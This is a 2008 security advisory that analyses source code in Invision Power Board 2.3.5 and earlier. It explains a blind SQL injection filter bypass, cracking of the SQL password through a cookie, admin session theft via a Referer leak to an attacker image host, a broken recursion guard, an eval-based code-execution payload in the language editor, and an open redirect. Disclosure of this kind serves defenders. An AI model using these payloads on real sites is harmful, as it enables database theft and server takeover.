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[Advisory] Invision Power Board <= 2.3.5 Multiple Vulnerabilities and Security Bypass



       Title:   Invision Power Board <= 2.3.5
                Multiple Vulnerabilities and Security Bypass

      Vendor:   http://www.invisionpower.com/community/board/

    Advisory:   http://acid-root.new.fr/?0:18
      Author:   DarkFig < gmdarkfig (at) gmail (dot) com >

 Released on:   2008/08/29
   Changelog:   2008/08/29

     Summary:   Introduction
                Blind SQL Injection
                Insecure SQL Password Usage
                Admin Session Hijacking
                Deep Recursion Protection Bypass
                Code Execution
                Miscellanious

  Risk level:   Medium / High
         CVE:   ----------




  I - INTRODUCTION

  Before continuing, you need to know some stuff about how
  user's inputs are handled. All superglobal arrays which
  can be partially modified by the user, are passed to the 
  function "parse_clean_globals()". Let's see the content
  of the file "sources/ipsclass.php":

  4847| $this->clean_globals( $_GET );
  4848| $this->clean_globals( $_POST );
  4849| $this->clean_globals( $_COOKIE );
  4850| $this->clean_globals( $_REQUEST );

  This function will replace special characters such as
  the null byte one and "../" (this replacement can be 
  easily bypassed, we'll see that later), by their
  entities. Good idea, but bad implementation:

  4979| function clean_globals( &$data, $iteration = 0 )
  ....|
  4991|  foreach( $data as $k => $v )
  4992|  {
  ....|
  4999|    # Null byte characters
  5000|    $v = preg_replace( '/\\\0/' , '&#92;&#48;', $v );
  5001|    $v = preg_replace( '/\\x00/', '&#92;x&#48;&#48;', $v );
  5002|    $v = str_replace( '%00'     , '%&#48;&#48;', $v );
  5003|                         
  5004|    # File traversal
  5005|    $v = str_replace( '../'    , '&#46;&#46;/', $v )
  5006|
  5007|    $data[ $k ] = $v;

  Then, variables which are sent through the GET and
  POST methods are passed to another function. Note 
  that POST variables overwrite the ones sent with the
  GET method:

  4852| # GET first
  4853| $input = $this->parse_incoming_recursively( $_GET, array() );
  4854|                 
  4855| # Then overwrite with POST
  4856| $input = $this->parse_incoming_recursively( $_POST, $input );
  4857|
  4858| $this->input = $input;

  Then POST and GET inputs are passed to the function 
  "parse_incoming_recursively()". Each input are passed to
  two functions. Names are passed to the "parse_clean_key()"
  function, values to "parse_clean_value()":

  4940| function parse_incoming_recursively(&$data,$input=array()...
  4941| {
  ....|
  4952|         foreach( $data as $k => $v )
  4953|         { 
  ....|
  4961|                 $k = $this->parse_clean_key( $k );
  4962|                 $v = $this->parse_clean_value( $v );
  4963|                                         
  4964|                 $input[ $k ] = $v;
  4965|         }
  ....|
  4969|                 return $input;

  The "parse_clean_key()" function uses the "urldecode()"
  function, this means you can encode each variable names. 

  For example, the parameter "act=Members" is the same 
  as "%2561%2563%2574=Members". We don't really care
  about it, cause it will not cause a problem for the
  attacker:

  5024| function parse_clean_key($key)
  5025| {
  5026|   if ($key == "")
  5027|   {
  5028|      return "";
  5029|   }
  5030|         
  5031|   $key = htmlspecialchars(urldecode($key));
  5032|   $key = str_replace( ".."           , ""  , $key );
  5033|   $key = preg_replace( "/\_\_(.+?)\_\_/"  , ""  , $key );
  5034|   $key = preg_replace( "/^([\w\.\-\_]+)$/", "$1", $key );
  5035|         
  5036|   return $key;
  5037| }

  This one will replace malicious tags by their entities.
  The most efficient replacement, is the one which protect
  against SQL Injections, (single/double quotes).

  Replacements concerning strings wich contains more than
  1 characters can be bypassed with the CR (Carriage Return)
  character (eg: bypassing the replacement of ../ by using 
  ..%0D/).

  We can also use that trick to encode links. For example the
  parameter "act=Members", is the same as "%2561%2563%2574=
  M%0De%0Dm%0Db%0De%0Dr%0Ds":

  5077| function parse_clean_value($val)
  5078| {
  ....|
  5084|   $val = str_replace( "&#032;", " ", $this->txt_stripslashes($val));
  ....|
  5093|   $val = str_replace( "&#8238;",     ''        , $val );
  5094|     
  5095|   $val = str_replace( "&",           "&amp;"         , $val );
  5096|   $val = str_replace( "<!--",        "&#60;&#33;--"  , $val );
  5097|   $val = str_replace( "-->",         "--&#62;"       , $val );
  5098|   $val = preg_replace( "/<script/i", "&#60;script"   , $val );
  5099|   $val = str_replace( ">",           "&gt;"          , $val );
  5100|   $val = str_replace( "<",           "&lt;"          , $val );
  5101|   $val = str_replace( '"',           "&quot;"        , $val );
  5102|   $val = str_replace( "\n",          "<br />"        , $val ); 
  5103|   $val = str_replace( "$",           "&#036;"        , $val );
  5104|   $val = str_replace( "\r",          ""              , $val );
  5105|   $val = str_replace( "!",           "&#33;"         , $val );
  5106|   $val = str_replace( "'",           "&#39;"         , $val ); 
  ....|         
  5121|   return $val;
  5122| }
 
  The "txt_stripslashes()" function is also called, it will
  reverse the effect of the magic_quotes_gpc directive
  (if set to On):

  3104| function txt_stripslashes($t)
  3105| {
  3106|   if ( $this->get_magic_quotes )
  3107|   {
  3108|      $t = stripslashes($t);
  3109|      $t = preg_replace( "/\\\(?!&amp;#|\?#)/", "&#092;", $t );
  3110|   }
  3111|     
  3112|   return $t;
  3113| }

  So, we can't use any SQL escape character if 
  magic_quotes_gpc is turned on. But if not, we can 
  still use the character \. Now let's see how we'll
  bypass these protections =)



  II - BLIND SQL INJECTION

  Note: Only 2.3.x (2.3.1 to 2.3.5) branch seems to be
  affected to this issue.

  Newest versions support Ajax technology, when you try to
  register, there's a check which is made via Ajax. The 
  "class_ajax" object is created in the file 
  "sources/action_public/xmlout.php":

  101| require_once( KERNEL_PATH . 'class_ajax.php' );
  102| 
  103| $this->class_ajax           =  new class_ajax();
  104| $this->class_ajax->ipsclass =& $this->ipsclass;
  105| $this->class_ajax->class_init();

  Now let's send "act=xmlout&do=check-display-name&name=A"
  to the page "index.php". Then the "check_display_name()"
  function is called:

  134| case 'check-display-name':
  135|     $this->check_display_name('members_display_name');
  136| break;
  ...|
  137| case 'check-user-name':
  138|     $this->check_display_name('name');
  139| break;

  Then the "name" variable sent through the GET method is
  passed to the "convert_and_make_safe()" function:
  
  985| function check_display_name( $field='members_display_name' )
  986| {
  ...|          
  991|    $name = strtolower( $this->class_ajax->convert_and_make_safe( 
  ...|                        $this->ipsclass->input['name'], 0 ) );
  992|    $name = str_replace("&#43;", "+", $name );

  As you can see, this function uses the "rawurldecode()"
  function, which can be used to bypass (eg: %2527) all
  filters we saw before (eg: the parse_clean_value() 
  function).

  Default charsets are "iso-8859-1" or "utf-8", so the
  "parse_clean_value()" function is not applied to our 
  variable, we can use all characters:

   87| function convert_and_make_safe( $value, $parse_incoming=1 )
   88| {
   89|    $value = rawurldecode( $value );
   90| 
   91|    $value = $this->convert_unicode( $value );
   92|                  
   93|    // This is apparently not needed with the convert_unicode changes I 
made
   94|                  
   95|    $value = $this->convert_html_entities( $value );
   96|          
   97|    if($parse_incoming OR 
   ..|      (strtolower($this->ipsclass->vars['gb_char_set']) != 'iso-8859-1' 
   98|    && strtolower($this->ipsclass->vars['gb_char_set']) != 'utf-8' ) )
   99|    {
  100|          $value = $this->ipsclass->parse_clean_value( $value );
  101|    }
  102|  
  103|    return $value;
  104|  }

  Then our variable is used in an SQL query, but
  this one don't use the "add_slashes()" function,
  so we can perform an SQL Injection attack:

  1062| if( $field == 'members_display_name' )
  1063| {
  1064|      $check_field = 'members_l_display_name';
  1065| }
  1066| else
  1067| {
  1068|      $check_field = 'members_l_username';
  1069| }
  1070|         
  1071| $check_name = $this->ipsclass->DB->build_and_exec_query(
  ....|               array( 'select' => "{$field}, id",
  1072|                      'from'   => 'members',
  1073|                      'where'  => "{$check_field}='{$name}'",
  1074|                      'limit'  => array( 0,1 ) ) );

  This will be a Blind SQL Injection, cause the result
  of the query isn't returned. We can only know if it
  returned TRUE or FALSE:

  1076| if ( $this->ipsclass->DB->get_num_rows() )
  1077| { 
  1078|     if ( $id AND $check_name['id'] == $id )
  1079|     {
  1080|          $this->class_ajax->return_string('notfound');
  1081|     }
  1082|     else
  1083|     {
  1084|          $this->class_ajax->return_string('found');
  1085|     }
  1086| }

  So yes, we can inject parameters in this query, but if 
  we stop here, we'll only be apt to get values from the
  "members" table. And this is not sufficient to get
  logged in. Let's check the filter:

  573| if ( ! IPS_DB_ALLOW_SUB_SELECTS )
  574| {
  575|    # On the spot allowance?
  576|                  
  577|    if ( ! $this->allow_sub_select )
  578|    {
  579|        $_tmp = strtolower( $this->remove_all_quotes($the_query) );
  580|                          
  581|        if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
  582|        {
  583|            $this->fatal_error( "..." );
  584|            return false;
  585|        }
  586|                          
  587|        if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
  588|        {
  589|            $this->fatal_error( "..." );
  590|            return false;
  591|        }
  592|        else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", 
$_tmp, $matches ) )
  593|        {
  594|            if ( count( $matches ) > 1 )
  595|            {
  596|                $this->fatal_error( "..." );
  597|                return false;
  598|            }
  599|        }
  600|     }
  601| }
  ...|
  607| $this->query_id = mysql_query($the_query, $this->connection_id);

  So UNION and SUB SELECT queries are forbidden. That's what
  they think, let's try to bypass this filter. The query is
  passed to the "remove_all_quotes()" function, let's see 
  how it works:

   997| function remove_all_quotes( $t )
   998| {
  1010|                 
  1011|    $t = preg_replace( "#\\\{1,}[\"']#s", "", $t );
  1012|    $t = preg_replace( "#'[^']*'#s"    , "", $t );
  1013|    $t = preg_replace( "#\"[^\"]*\"#s" , "", $t );
  1014|    $t = preg_replace( "#\"\"#s"        , "", $t );
  1015|    $t = preg_replace( "#''#s"          , "", $t );
  ....|
  1017|    return $t;
  1018| }

  This seems hard to bypass, but we can do it.
  What if I try something like:

  ' OR 1="'" UNION ... OR 1="'" #

  This will be replaced by: or 1= #
  Now we just have to encode each special characters:

  %2527 OR 1=%2522%2527%2522 UNION ...
  OR 1=%2522%2527%2522 #

  Now we're apt to get each value stored in the database.
  We can try to get a valid session_id, we can also 
  bruteforce the hash (combined with the salt) in order
  to get a password. We don't need specific PHP 
  configuration, and we can do that with guest rights.



  III - INSECURE SQL PASSWORD USAGE

  When we log in as a normal user, a cookie named
  "ipb_stronghold" is sent. This cookie is generated
  via the "stronghold_set_cookie()" function. Let's 
  see the file "sources/ipsclass.php":  

  1120| function stronghold_set_cookie( $member_id, $member_log_in_key )
  1121| {
  ....|
  1135|    $ip_octets  = explode( ".", $this->my_getenv('REMOTE_ADDR') );
  1136|    $crypt_salt = md5( $this->vars['sql_pass'].$this->vars['sql_user'] );
  ....|                 
  1142|    $stronghold = md5( md5( $member_id . "-" . $ip_octets[0] . '-'.
  ....|                  $ip_octets[1] . '-' . $member_log_in_key ) . 
$crypt_salt );    
  ....|
  1148|    $this->my_setcookie( 'ipb_stronghold', $stronghold, 1 );

  We know our IP address, we can know the SQL user (with
  the SQL Injection), we also know our id (cookie "member_id"),
  and the member_login_key variable (cookie "pass_hash").

  So we can try to bruteforce the SQL password, from our
  local computer. We don't need to use sockets, and this
  can be quite easily done.



  IV - ADMIN SESSION HIJACKING

  When an administrator logs in and go to the Admin Control 
  Panel (ACP), a session id is generated. Cookies can  be
  deleted, we just need the SID to be logged in the ACP.
  The SID is sent for each request (variable "adsess"), 
  through the GET method. 

  When an Admin want to edit a member signature, if he click
  on the "Switch between standard and rich text editor" button,
  an Ajax request is made:

  GET <PATH>/index.php?act=xmlout&do=post-editorswitch

  Then, the BBCODE content of the signature will be changed
  to their HTML equivalents. If the user has a picture, it 
  will force the browser to send an HTTP request. Example:

  [img]http://haxor.com/log_headers.gif[/img]

  Pictures with .php extension are forbidden, but the
  attacker can use the Url Rewriting mod, and then 
  bypass this condition.

  The problem is here, the browser will add the "Referer"
  header, it will contain the SID value. So the attacker
  can get it. 

  There is several conditions to be logged as Admin, if
  the "match_ipaddress" option is turned On, there's a 
  check which is made on the user IP. If the option
  "xforward_matching" is turned on, the attacker can spoof
  his IP address. On default configuration:

  match_ipaddress = Yes
  xforward_matching = No
  match_browser = No (user only)

  To bypass the ip address filter, the attacker can, for
  example, find an XSS (not so hard ..), and then send
  GET/POST requests via the Admin Browser, to add another
  Admin, or to change theses options.



  V - DEEP RECURSION PROTECTION BYPASS

  Variables sent through GET/POST/COOKIE, are passed to the
  "clean_globals()" function. In this one, there's a 
  protection against long array, they're limited to a depth
  of 10: 

  4979| function clean_globals( &$data, $iteration = 0 )
  4980| {
  4981|    // Crafty hacker could send something like &foo[][][][][][]....
  4982|    // to kill Apache process. We should never have an globals array
  ....|    // deeper than 10..
  4983|
  4984|    if( $iteration >= 10 )
  4985|    {
  4986|         return $data;
  4987|    }
  4988|         
  4989|    if( count( $data ) )
  4990|    {
  4991|        foreach( $data as $k => $v )
  4992|        {
  4993|             if ( is_array( $v ) )
  4994|             {
  4995|                 $this->clean_globals( $data[ $k ], $iteration++ );
  4996|             }

  But this protection doesn't work, as you can see they use
  the post-increment operator. This operator returns the
  current value of the variable, and increments it. So the
  value of $iteration will never change, cause it'll always
  returns 0.

  They should use the pre-increment operator, to fix this bug,
  change $iteration++ by ++$iteration. The same kind of
  protection is used in the "parse_incoming_recursively()"
  function.



  VI - CODE EXECUTION

  The ACP allows admins to manage languages, they can
  choose the default language, import a new one, and edit
  them. Let's take a look in the file "sources/action_admin/
  languages.php":

   65| switch($this->ipsclass->input['code'])
   66| {
   ..|
   88|  case 'doedit':
   89|    $this->ipsclass->admin->cp_permission_check(...);
   90|    $this->save_langfile();
  110|  break;
  ...|
  935|  function save_langfile()
  936|  {
  ...|
  957|    $lang_file = CACHE_PATH."cache/lang_cache/".$row['ldir'].
  ...|                 "/".$this->ipsclass->input['lang_file'];
  958|
  959|    if (! file_exists( $lang_file ) )  ...
  ...|
  963|
  964|    if (! is_writeable( $lang_file ) ) ...
  ...|
  969|    $barney = array();
  970|          
  971|    foreach ($this->ipsclass->input as $k => $v)
  972|    {
  973|      if ( preg_match( "/^XX_(\S+)$/", $k, $match ) )
  974|      {
  975|        if ( isset($this->ipsclass->input[ $match[0] ]) )
  976|        {
  977|          $v = str_replace("&#39;", "'", stripslashes($_POST[$match[0]]));
  978|          $v = str_replace("&#60;", "<",  $v );
  979|          $v = str_replace("&#62;", ">", $v );
  980|          $v = str_replace("&#38;", "&", $v );
  981|          $v = str_replace("\r", "", $v );
  982|                          
  983|          $barney[ $match[1] ] = $v;
  984|        }
  985|      }
  986|    }

  As you can see, there's several replacements which are
  made. Some HTML entities are converted to their applicable
  characters. The "stripslashes()" function is also called.
  But we don't really care about that, this will not cause
  a problem, this was just to show you how user's inputs
  are treated. Now let's see how the change is made: 
  
   993|  $start = "<?php\n\n".'$lang = array('."\n";
   994| 
   995|  foreach($barney as $key => $text)
   996|  {
   997|         $text   = preg_replace("/\n{1,}$/", "", $text);
   998|         $start .= "\n'".$key."'  => \"".str_replace( '"', '\"', 
$text)."\",";
   999|  }
  1000|                 
  1001|  $start .= "\n\n);\n\n?".">";
  1002| 
  1003|  if ($fh = fopen( $lang_file, 'w') )
  1004|  {
  1005|         fwrite($fh, $start );
  1006|         fclose($fh);
  1007|  }
  
  So, there's a protection against double quotes, not all
  escape characters. There are several ways to bypass this
  protection.

  The first method, is to play with what we call "dynamic
  variables". With two $, we can execute PHP code.
  Example: ${${@eval($_SERVER[HTTP_SH])}}

  The second one, is to use another escape character, a
  backslash (\) will do the stuff. The attacker must change
  two inputs. Example:

   First input: hello\
  Second input: ); @eval($_SERVER[HTTP_SH]); /*

 

  VII - MISCELLANIOUS

  There is also some miscellanious bugs / vuln. There's a
  redirection vulnerability in the file "admin.php":

  27| require_once( './init.php' );
  28| require ROOT_PATH   . "conf_global.php";
  ..|
  38| header( 'Location: '.$INFO['base_url'].'admin/index.php' );

  The variable $INFO['base_url'] is not defined (this is
  the case on my default configuration), so we can 
  redirect the user where we want, for example:

  admin.php?INFO[base_url]=http://phishing-hax.com/

  This can also lead to a Full Path Disclosure vulnerability.
  The "header()" function doesn't accept CRLF characters, this
  protect against HTTP Response Splitting attacks. The level of
  "error_reporting" is set in the file "init.php":

  210| error_reporting  (E_ERROR | E_WARNING | E_PARSE);

  So what we have to do to disclose the full path of IPB, is
  just to send CRLF characters: admin.php?INFO[base_url]=%0D%0A